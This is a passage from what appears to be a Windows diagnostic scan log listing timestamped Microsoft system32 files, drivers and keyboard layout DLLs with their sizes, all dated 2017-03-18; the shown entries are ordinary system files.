2017-03-18 22:57 - 2017-03-18 22:57 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\hnetmon.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\regidle.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\pcwrun.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\mmcico.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\KBDJPN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\finger.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00015776 _____ (Microsoft Corporation) C:\windows\system32\kd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015632 _____ (Microsoft Corporation) C:\windows\system32\iumdll.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\wshirda.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\wclSqm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\spwinsat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\pnpts.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\msidcrl40.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\KBDKOR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\ifsutilx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Dmpusbstor.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\BamSettingsClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\sas.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\dhcpcmonitor.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\cfmifsproxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\c_GSM7.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\amsiproxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\winrssrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\usbperf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\TimeSyncTask.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\SyncHostps.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\SensApi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\prflbmsg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\LogonUI.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\HOSTNAME.EXE
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\fdBthProxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\FamilySafetyExt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\efsui.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\Drivers\registry.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\DockInterface.ProxyStub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\dciman32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\coreaudiopolicymanagerext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\chcp.com
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\C_ISCII.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\AppxStreamingDataSourcePS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.BackgroundPlayback.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\svsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\ReAgentTask.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\mprext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\GameBarPresenceWriter.proxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\sscoreext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\InfDefaultInstall.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\acproxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\WSHTCPIP.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\wship6.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\txfw32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\TCPSVCS.EXE
2017-03-18 22:57 - 2017-03-18 22:57 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\pcaevts.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\GameChatOverlayExt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\dllhst3g.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\msrating.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\msiwer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\MinstoreEvents.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\iscsied.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\dvdplay.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mshidumdf.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\apprepapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\TimeDateMUICallback.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\spnet.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\regedt32.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\mscat32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\iprtprio.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\help.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\dcomcnfg.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\appinfoext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011680 _____ (Microsoft Corporation) C:\windows\system32\uxlibres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\WppRecorderUM.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\VpnSohDesktop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\spmpm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\ResetEngine.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\Locator.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\acledit.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\softpub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\plasrv.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\Nlsdl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\RpcNs4.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\OskSupport.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\mssip32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\KBDHEPT.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\idndl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\Drivers\beep.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\comcat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00009926 _____ C:\windows\SysWOW64\l_intl.nls
2017-03-18 22:57 - 2017-03-18 22:57 - 00009926 _____ C:\windows\system32\l_intl.nls
2017-03-18 22:57 - 2017-03-18 22:57 - 00009728 _____ (Microsoft Corporation) C:\windows\system32\osuninst.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00009728 _____ (Microsoft Corporation) C:\windows\system32\mtxex.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00009728 _____ (Microsoft Corporation) C:\windows\system32\KBDUS.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\wscadminui.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDYCL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDSMSNO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDSMSFI.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDRUM.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDROST.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDROPR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\kbdnecnt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDLVST.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDINEN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\KBDCAN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00009055 _____ C:\windows\system32\ResPriHMImageList
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\wclWdi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\msimg32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDUKX.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDTUF.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDTIPRD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDSORST.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDSOREX.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDSL1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDSG.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDRO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDNSO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDNO1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\kbdlk41a.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDINUK2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDGRLND.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDFI1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDCZ2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDCZ1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDCZ.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\KBDCR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mshidkmdf.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00008483 _____ C:\windows\system32\ResPriImageList
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\simpdata.tlb
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDUSX.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDTZM.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDTUQ.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDTIPRC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDSW09.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDSORS1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDSL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDSF.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDPO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDPL1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDPL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDNEPR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDLV1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDLA.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDIULAT.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDINORI.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDINMAL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDINBEN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDIBO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDHU.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDHELA3.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDHELA2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDHE220.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDGR1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDGN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDGKL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDFC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDES.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDCA.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDBENE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\kbdax2.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\KBDAL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\kbd106n.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\kbd106.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\kbd101.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\wmdrmsdk.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\shimeng.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDYCC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDYBA.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDYAK.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDWOL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDVNTC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDUZB.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDUSR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDUSL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDUSA.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDUR1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDUGHR1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDUGHR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTURME.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTT102.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTIFI2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTIFI.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTH3.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTH2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTH1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTH0.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTAT.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTAJIK.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDTAILE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDSYR2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDSYR1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDSW.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDSP.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDRU1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdphags.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDPASH.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDOGHAM.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDNTL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDNO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDNE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMYAN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMONST.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMONMO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMON.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMLT48.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMLT47.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMAORI.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMACST.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDMAC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDLV.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDLT2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDLT1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdlisus.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdlisub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDLAO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDKURD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDKNI.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDKHMR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDKAZ.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDJAV.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDIT142.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINTEL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINTAM.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINPUN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINMAR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINKAN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINHIN.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINGUJ.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINDEV.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINBE2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINBE1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDINASA.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDHU1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdhebl3.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDHE319.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDHE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDHAW.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDGR.DLL
